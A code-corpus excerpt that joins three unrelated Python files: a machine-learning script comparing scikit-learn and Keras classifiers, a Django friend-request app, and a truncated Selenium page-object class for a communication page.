data_train_label)\r\ny_pred_rf = clf_rf.predict(data2)\r\nacc_rf = accuracy_score(data_test_label, y_pred_rf)\r\nprint(acc_rf)\r\nacc_rf_train = clf_rf.score(data1, data_train_label)\r\nprint(acc_rf_train)\r\n################################svm\r\ny_train = np.ravel(data_train_label)\r\ny_test = np.ravel(data_test_label)\r\nclf_svm = SVC(kernel='rbf') \r\nclf_svm.fit(data1, y_train)\r\ny_pred_svm = clf_svm.predict(data2)\r\nacc_svm = accuracy_score(y_test, y_pred_svm)\r\nprint(acc_svm)\r\nacc_svm_train = clf_svm.score(data1, y_train)\r\nprint(acc_svm_train)\r\nacc_svm_test = clf_svm.score(data2, y_test)\r\nprint(acc_svm_test)\r\n\r\n#72.5%\r\n##################################dt\r\nclf = tree.DecisionTreeClassifier()\r\nclf.fit(data1, data_train_label)\r\ny_pred_decisiontree = clf.predict(data2)\r\nscore=clf.score(data2,data_test_label)\r\nprint(\"%f\"%score)\r\nscore_train=clf.score(data1, data_train_label)\r\nprint(\"%f\"%score_train)\r\n\r\ndot_data = tree.export_graphviz(clf, out_file=None, \r\n filled=True, rounded=True) \r\ngraph = pydotplus.graph_from_dot_data(dot_data) \r\n#Image(graph.create_png())\r\n#graph.write_jpg(\"dt.jpg\")\r\n#0.90\r\n##################################dt-top-3\r\nclf = tree.DecisionTreeClassifier()\r\nclf.fit(data1, data_train_label_1)\r\ny_pred_decisiontree = clf.predict(data2)\r\nscore=clf.score(data2,data_test_label_1)\r\nprint(\"%f\"%score)\r\nscore_train=clf.score(data1, data_train_label_1)\r\nprint(\"%f\"%score_train)\r\n###0.931250\r\n###1.000000\r\ndot_data = tree.export_graphviz(clf, out_file=None, \r\n filled=True, rounded=True) \r\ngraph = pydotplus.graph_from_dot_data(dot_data) \r\n#Image(graph.create_png())\r\n#graph.write_jpg(\"dt.jpg\")\r\n#0.90\r\n##################################knn\r\nclf_knn = KNeighborsClassifier(n_neighbors=3)\r\nclf_knn.fit(data1, data_train_label)\r\ny_pred_knn = clf_knn.predict(data2)\r\nacc_knn = accuracy_score(data_test_label, y_pred_knn)\r\nprint(acc_knn)\r\nacc_knn_train = clf_knn.score(data1, data_train_label)\r\nprint(acc_knn_train)\r\n##################################### knn-3\r\nclf_knn = KNeighborsClassifier(n_neighbors=3)\r\nclf_knn.fit(data1, data_train_label_1)\r\ny_pred_knn = clf_knn.predict(data2)\r\nacc_knn = accuracy_score(data_test_label_1, y_pred_knn)\r\nprint(acc_knn)\r\nacc_knn_train = clf_knn.score(data1, data_train_label_1)\r\nprint(acc_knn_train)\r\n\r\n#95%\r\n##################################################nn\r\ny_train = np.ravel(data_train_label)\r\ny_test = np.ravel(data_test_label)\r\nclf_nn = MLPClassifier(hidden_layer_sizes=(21,21,21,),verbose=1,activation='logistic')\r\nclf_nn.fit(data1, y_train)\r\ny_pred_nn = clf_nn.predict(data2)\r\nacc_nn = clf_nn.score(data2,y_test)\r\nprint(acc_nn)\r\n#0.1\r\n####################################################sgd\r\nclf_sgd = SGDClassifier()\r\nclf_sgd.fit(data1, data_train_label)\r\ny_pred_sgd = clf_sgd.predict(data2)\r\nacc_sgd = accuracy_score(data_test_label, y_pred_sgd)\r\nprint(\"stochastic gradient descent accuracy: \",acc_sgd)\r\n\r\n##########################################################regression\r\ny_train = np.ravel(data_train_label)\r\ny_test = np.ravel(data_test_label)\r\nclf = LogisticRegression()\r\nclf.fit(data1,y_train)\r\nlr_test_sc=clf.score(data2,y_test)\r\nprint(\"regression: \",lr_test_sc)\r\nlr_train_sc=clf.score(data1,y_train)\r\nprint(\"regression: \",lr_train_sc)\r\n##########################################nb\r\nclf_gnb = GaussianNB()\r\nclf_gnb.fit(data1,y_train)\r\ny_pred_gnb = clf_gnb.predict(data2)\r\nacc_gnb = clf_gnb.score(data2, y_test)\r\nprint(\"nb accuracy: \",acc_gnb)\r\nacc_gnb_train = clf_gnb.score(data1, y_train)\r\nprint(\"nb accuracy: \",acc_gnb_train)\r\n\r\n##############################################AE+CNN\r\ndata1 = sio.loadmat('XTrain_same_with_NN_4_160.mat')\r\ndata1 = data1.get('Feature_Input_raw_train')\r\ndata1 = data1.reshape((320,2,2,1))\r\n\r\ndata2 = sio.loadmat('XTest_same_with_NN_4_160.mat')\r\ndata2 = data2.get('Feature_Input_raw_test')\r\ndata2 = data2.reshape((160,2,2,1))\r\n\r\ninput_img = Input(shape=(2,2,1))\r\nx = Conv2D(100, kernel_size=(2,1),activation='relu',padding = 'same')(input_img)\r\nx = BatchNormalization()(x)\r\nencoded = ReLU()(x)\r\nx = BatchNormalization()(encoded)\r\nx = Conv2D(100,(2,1),activation='relu', padding = 'same')(x)\r\ndecoded = Conv2D(1,(2,1),activation='relu', padding = 'same')(x)\r\n\r\nautoencoder = Model(input_img, decoded)\r\nautoencoder.summary()\r\nautoencoder.compile(optimizer='adam', loss='mean_squared_error',\r\n metrics = ['accuracy'])\r\n#earlystop=keras.callbacks.EarlyStopping(monitor='acc', min_delta=0, patience=3, verbose=0, mode='min')\r\nautoencoder.fit(data1, data1,\r\n batch_size=20,\r\n epochs=250,\r\n verbose=1,\r\n shuffle=True)\r\n #callbacks=[earlystop])\r\n\r\n\r\nencoder = Model(input_img, encoded)\r\nencoder.summary()\r\n\r\nlayer_index = 4\r\nintermediate_layer_model = Model(inputs=autoencoder.input,\r\n outputs=autoencoder.get_layer(index = layer_index).output)\r\nintermediate_output = intermediate_layer_model.predict(data1)\r\nintermediate_output_2 = intermediate_layer_model.predict(data2)\r\n\r\na = intermediate_output.shape\r\na = a[1:]\r\n\r\n\r\nytrain1 = keras.utils.to_categorical(data_train_label,11)\r\nytrain1 = np.delete(ytrain1,0,axis=1)\r\nytest1 = keras.utils.to_categorical(data_test_label,11)\r\nytest1 = np.delete(ytest1,0,axis=1)\r\n\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten, BatchNormalization, ReLU\r\nfrom keras.layers import Conv2D, MaxPooling2D\r\nfrom keras import backend as K\r\n\r\nmodel = Sequential()\r\nmodel.add(Conv2D(100, kernel_size=(2, 1),activation='relu',input_shape=a,padding = 'same'))\r\nmodel.add(BatchNormalization())\r\nmodel.add(ReLU())\r\nmodel.add(Conv2D(100, kernel_size=(2, 1),activation='relu',input_shape=a,padding = 'same'))\r\nmodel.add(BatchNormalization())\r\nmodel.add(ReLU())\r\nmodel.add(Flatten())\r\nmodel.add(Dropout(0.10))\r\n#model.add(Dense(10, activation='relu'))\r\nmodel.add(Dense(10, activation='softmax'))\r\n\r\nmodel.compile(loss='mse', \r\n optimizer = 'adam',\r\n metrics = ['accuracy'])\r\n#optimizer = keras.optimizers.Adam(lr=0.001,beta_1=0.90,beta_2=0.999,epsilon=None,decay=0.0,amsgrad=False), \r\n#optimizer = keras.optimizers.Adadelta(lr=1.0, rho=0.95, epsilon=None, decay=0.0),\r\nmodel.summary()\r\n\r\nmodel.fit(intermediate_output, ytrain1,\r\n batch_size=20,\r\n epochs=250, \r\n verbose=1,\r\n shuffle=True,\r\n validation_data=(intermediate_output_2, ytest1))\r\n #validation_data=(intermediate_output_2, ytest1))\r\n\r\nmodel.compile(loss='mse', \r\n optimizer = 'sgd',\r\n metrics = ['accuracy'])\r\n\r\n\r\nmodel.fit(intermediate_output, ytrain1,\r\n batch_size=20,\r\n epochs=20, \r\n verbose=1,\r\n shuffle=True,\r\n validation_data=(intermediate_output_2, ytest1))\r\n\r\nkeras.callbacks.EarlyStopping(monitor = 'val_acc',\r\n min_delta=0.1,\r\n patience=3,\r\n verbose=0,mode='auto')\r\nmodel.evaluate(intermediate_output_2, ytest1)\r\nmodel.evaluate(intermediate_output, ytrain1)\r\n####################################################CNN\r\n\r\ninput_img = Input(shape=(2,2,1))\r\nx = Conv2D(30, kernel_size=(2, 1),activation='relu',padding = 'same')(input_img)\r\nx = BatchNormalization()(x)\r\nx = ReLU()(x)\r\nx = Conv2D(50,(2,1),activation='relu',padding = 'same')(x)\r\nx = BatchNormalization()(x)\r\nx = ReLU()(x)\r\nx = Conv2D(50,(2,1),activation='relu',padding = 'same')(x)\r\nx = BatchNormalization()(x)\r\nx = ReLU()(x)\r\nx = Conv2D(20,(2,1),activation='relu',padding = 'same')(x)\r\nx = ReLU()(x)\r\nx = Dropout(0.2)(x)\r\nx = Flatten()(x)\r\nx_final = Dense(10,activation='softmax')(x)\r\n\r\ncnn = Model(input_img, x_final)\r\ncnn.summary()\r\ncnn.compile(optimizer='adam', loss='mean_squared_error',\r\n metrics = ['accuracy'])\r\n#earlystop=keras.callbacks.EarlyStopping(monitor='acc', min_delta=0, patience=3, verbose=0, mode='min')\r\ncnn.fit(data1, ytrain1,\r\n batch_size=15,\r\n epochs=100,\r\n verbose=1,\r\n shuffle=True,\r\n validation_data=(data2, ytest1))\r\ncnn.compile(optimizer='sgd', loss='mean_squared_error',\r\n metrics = ['accuracy'])\r\n#earlystop=keras.callbacks.EarlyStopping(monitor='acc', min_delta=0, patience=3, verbose=0, mode='min')\r\ncnn.fit(data1, ytrain1,\r\n batch_size=15,\r\n epochs=10,\r\n verbose=1,\r\n shuffle=True,\r\n validation_data=(data2, ytest1))\r\ncnn.evaluate(data2,ytest1)\r\ncnn.evaluate(data1,ytrain1)", "sub_path": "NN_KNN_SVM_RF_DF.py", "file_name": "NN_KNN_SVM_RF_DF.py", "file_ext": "py", "file_size_in_byte": 11919, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scipy.io.loadmat", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 54, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 58, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 62, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 65, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 68, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 68, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 71, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 71, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 74, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 86, "usage_type": "call"}, {"api_name": "neupy.algorithms.LevenbergMarquardt", "line_number": 96, "usage_type": "call"}, {"api_name": "neupy.algorithms", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.ravel", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 113, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 123, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 124, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 127, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 136, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 136, "usage_type": "name"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 144, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 144, "usage_type": "name"}, {"api_name": "pydotplus.graph_from_dot_data", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 151, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 151, "usage_type": "name"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 160, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 160, "usage_type": "name"}, {"api_name": "pydotplus.graph_from_dot_data", "line_number": 162, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 167, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 175, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 186, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.linear_model.SGDClassifier", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 202, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 203, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 210, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 219, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 219, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 223, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 223, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 227, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 228, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 229, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 230, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 231, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 232, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 233, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 235, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 248, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 252, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 261, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 261, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 262, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 263, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 263, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 264, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 272, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 273, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 274, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 275, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 276, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 277, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 278, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 279, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 280, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 282, "usage_type": "call"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 311, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 311, "usage_type": "attribute"}, {"api_name": "keras.layers.Input", "line_number": 319, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 320, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 321, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 322, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 323, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 324, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 325, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 326, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 327, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 328, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 329, "usage_type": "call"}, {"api_name": "keras.layers.ReLU", "line_number": 330, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 331, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 332, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 333, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 335, "usage_type": "call"}]} +{"seq_id": "147363309", "text": "from django.urls import path\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.db import models\nfrom django.db.models.signals import post_save\nfrom django.contrib.auth.decorators import login_required\n\n# models.py\nclass Profile(models.Model):\n user = models.OneToOneField(\n settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n slug = models.SlugField()\n friends = models.ManyToManyField(\"Profile\", blank=True)\n\n def __str__(self):\n return str(self.user.username)\n\n def get_absolute_url(self):\n return \"/users/{}\".format(self.slug)\n\n\ndef post_save_user_model_receiver(sender, instance, created, *args, **kwargs):\n if created:\n try:\n Profile.objects.create(user=instance)\n except:\n pass\n\n\npost_save.connect(post_save_user_model_receiver,\n sender=settings.AUTH_USER_MODEL)\n\n\nclass FriendRequest(models.Model):\n to_user = models.ForeignKey(settings.AUTH_USER_MODEL,\n related_name='to_user',\n on_delete=models.CASCADE\n )\n from_user = models.ForeignKey(settings.AUTH_USER_MODEL,\n related_name='from_user',\n on_delete=models.CASCADE\n )\n timestamp = models.DateTimeField(auto_now_add=True) # set when created\n\n def __str__(self):\n return f\"From {self.from_user.username}, to {self.to_user.username}\"\n\n\nadmin.site.register(Profile)\nadmin.site.register(FriendRequest)\n\n# views.py\nUser = get_user_model()\n@login_required\ndef users_list(request):\n\tusers = Profile.objects.exclude(user=request.user)\n\tme = Profile.objects.get(user=request.user)\n\treturn render(request, \"accounts/home.html\", {'me':me,'users': users})\n\n\ndef send_friend_request(request, id):\n # id - id юзера которому ты отправляешь запрос на дружбу\n\tif request.user.is_authenticated:\n\t\tuser = get_object_or_404(User, id=id)\n\t\tfrequest, created = FriendRequest.objects.get_or_create(\n\t\t\tfrom_user=request.user,\n\t\t\tto_user=user\n\t\t)\n\t\treturn HttpResponseRedirect('/users')\n\n\ndef cancel_friend_request(request, id):\n\tif request.user.is_authenticated:\n\t\tuser = get_object_or_404(User, id=id)\n\t\tfrequest = FriendRequest.objects.filter(\n\t\t\tfrom_user=request.user,\n\t\t\tto_user=user).first()\n\t\tfrequest.delete()\n\t\treturn HttpResponseRedirect('/users')\n\n\ndef accept_friend_request(request, id):\n\tfrom_user = get_object_or_404(User, id=id)\n\tfrequest = FriendRequest.objects.filter(\n\t\tfrom_user=from_user, to_user=request.user).first()\n\tuser1 = frequest.to_user\n\tuser2 = from_user\n\tuser1.profile.friends.add(user2.profile)\n\tuser2.profile.friends.add(user1.profile)\n\tfrequest.delete()\n\treturn HttpResponseRedirect('/users/{}'.format(request.user.profile.slug))\n\n\ndef delete_friend_request(request, id):\n\tfrom_user = get_object_or_404(User, id=id)\n\tfrequest = FriendRequest.objects.filter(\n\t\tfrom_user=from_user, to_user=request.user).first()\n\tfrequest.delete()\n\treturn HttpResponseRedirect('/users/{}'.format(request.user.profile.slug))\n\n\ndef profile_view(request, slug):\n\tp = Profile.objects.filter(slug=slug).first()\n\tprint(Profile.objects.filter(slug='admin'))\n\tu = p.user\n\tsent_friend_requests = FriendRequest.objects.filter(from_user=p.user)\n\trec_friend_requests = FriendRequest.objects.filter(to_user=p.user)\n\tfriends = p.friends.all()\n\t# is this user our friend\n\tbutton_status = 'none'\n\tif p not in request.user.profile.friends.all():\n\t\t\tbutton_status = 'not_friend'\n\t\t\t# if we have sent him a friend request\n\t\t\tif len(FriendRequest.objects.filter(\n\t\t\t\t\t\t\tfrom_user=request.user).filter(to_user=p.user)) == 1:\n\t\t\t\t\tbutton_status = 'friend_request_sent'\n\tcontext = {\n\t\t\t'u': u,\n\t\t\t'button_status': button_status,\n\t\t\t'friends_list': friends,\n\t\t\t'sent_friend_requests': sent_friend_requests,\n\t\t\t'rec_friend_requests': rec_friend_requests\n\t}\n\treturn render(request, \"accounts/profile.html\", context)\n\n\n\n# def profile_view(request, slug):\n# \tp = Profile.objects.filter(slug=slug).first()\n# \tu = p.user\n# \tsent_friend_request = FriendRequest.objects.filter(from_user=p.user)\n# \trec_friend_request = FriendRequest.objects.filter(to_user=p.user)\n# \tfriends = p.friends.all()\n", "sub_path": "jd/10_friends/accounts/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4466, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.models.Model", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.SlugField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.signals.post_save.connect", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_save", "line_number": 34, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 53, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 54, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 54, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 62, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 58, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 68, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 78, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 87, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 95, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 99, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 103, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 128, "usage_type": "call"}]} +{"seq_id": "111318308", "text": "import time\n\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.select import Select\n\nfrom Config.TestData import TestData\nfrom Pages.BasePage import BasePage\n\n\nclass CommunicationPage(BasePage):\n\n \"\"\"By Locators\"\"\"\n Head_Title = (By.CSS_SELECTOR, 'h1.main-title')\n Download_CSV_Btn = (By.CSS_SELECTOR, 'button.down_excel')\n Total_Rows = (By.CSS_SELECTOR, 'tr.tr2')\n Calendar_Date_Range = (By.CSS_SELECTOR, 'input#dateRange')\n Left_Month_Year_Value = (By.XPATH, \"(//th[@class= 'month'])[1]\")\n Right_Month_Year_Value = (By.XPATH, \"(//th[@class= 'month'])[2]\")\n Calendar_Next_Btn = (By.CSS_SELECTOR, 'th.next.available')\n Calendar_Back_BTN = (By.CSS_SELECTOR, \"th.prev.available\")\n Calendar_Apply_Btn = (By.CSS_SELECTOR, 'button.applyBtn')\n Calendar_Date_Range_Display = (By.CSS_SELECTOR, 'span.drp-selected')\n Calendar_Left_Day = (By.XPATH, \"//div[@class='drp-calendar left'] //td[@class ='available' or @ class ='weekend \"\n \"available' or @ class ='active start-date active end-date available' or @ class \"\n \"='in-range available' or @ class ='weekend in-range available']\")\n\n Calendar_Right_Day = (By.XPATH, \"//div[@class='drp-calendar right']// td[@class ='available' or @ class ='weekend \"\n \"available' or @ class ='active start-date active end-date available' or @ class \"\n \"='in-range available' or @ class ='weekend in-range available']\")\n\n SelectAll_CheckBox = (By.CSS_SELECTOR, \"input.chkall\")\n All_ChkBox_On_Page = (By.CSS_SELECTOR, 'input.chkbx')\n Action_Edit_Button = (By.XPATH, \"(//p[@title = 'Edit'])[1]\")\n Action_Update_Button = (By.CSS_SELECTOR, \"button.btn-update\")\n Action_Cancel_Button = (By.XPATH, \"//button[text() = 'Cancel']\")\n Action_View_Button = (By.XPATH, \"(//button[@class = 'btn btn-primary btn-xs user'])[1]\")\n View_Customer_Chat_Window = (By.XPATH, \"(//h4[@class = 'modal-title'])[1]\")\n Status_Dropdown = (By.XPATH, \"(//select[@id = 'gender1'])[1]\")\n Status_DropDown_Values = (By.XPATH, \"(//select[@id = 'gender1'])[1]/option\")\n Edit_EmailID_txtfield = (By.XPATH, \"(//input[@id = 'email'])[1]\")\n Edit_Phone_txtfield = (By.XPATH, \"(//input[@id = 'phone'])[1]\")\n EmailId = (By.XPATH, \"//tbody//tr[1]//td[6]\")\n Phone = (By.XPATH, \"//tbody//tr[1]//td[7]\")\n Delete_Btn = (By.XPATH, \"(//p[@title = 'Delete'])[1]\")\n Delete_popup_OK_Btn = (By.CSS_SELECTOR, 'button.swal-button--danger')\n Row_to_be_Deleted = (By.XPATH, \"(//tbody//tr[1])[1]\")\n Filter_Leads_DropDown = (By.ID, 'filterLeads')\n All_Action_View_Button = (By.CSS_SELECTOR, 'button.btn.btn-primary.btn-xs.user')\n Customer_Chats = (By.XPATH, \"//div[@class = 'table_chat']/div\")\n All_Customer_Chat_Close_Btn = (By.XPATH, \"(//button[@class = 'modal_close'])\")\n Pagination_Next_Btn = (By.CSS_SELECTOR, 'span.glyphicon-chevron-right')\n Pagination_Previous_Btn = (By.CSS_SELECTOR, 'span.glyphicon-chevron-left')\n Pagination_First_Btn = (By.XPATH, \"//a[text() = 'First']\")\n Pagination_Last_Btn = (By.XPATH, \"//a[text() = 'Last']\")\n\n\n\n \"\"\"Page Actions\"\"\"\n\n def __init__(self, driver):\n super().__init__(driver)\n\n def is_headTitle_visble(self):\n return self.is_visible(self.Head_Title)\n\n def get_downloaded_filePath(self, file_path):\n self.do_click(self.Download_CSV_Btn)\n time.sleep(5)\n return self.is_file_exist(file_path)\n\n def click_calendarDateRange(self):\n self.do_click(self.Calendar_Date_Range)\n\n def click_select_all_checkbox_btn(self):\n self.do_click(self.SelectAll_CheckBox)\n\n def select_Leads_Dropdown(self):\n select = Select(self.get_element(self.Filter_Leads_DropDown))\n select.select_by_value('Leads')\n\n def check_select_all_checkbox_selected(self):\n return self.elements_are_selected(self.All_ChkBox_On_Page, self.SelectAll_CheckBox)\n\n def check_edit_elements(self):\n self.do_click(self.Action_Edit_Button)\n return self.is_visible(self.Action_Update_Button)\n\n def check_update_btn(self, emailText, phoneText):\n self.do_click(self.Action_Edit_Button)\n self.driver.find_element_by_xpath(\"(//input[@id = 'email'])[1]\").clear()\n self.do_send_keys(self.Edit_EmailID_txtfield, emailText)\n 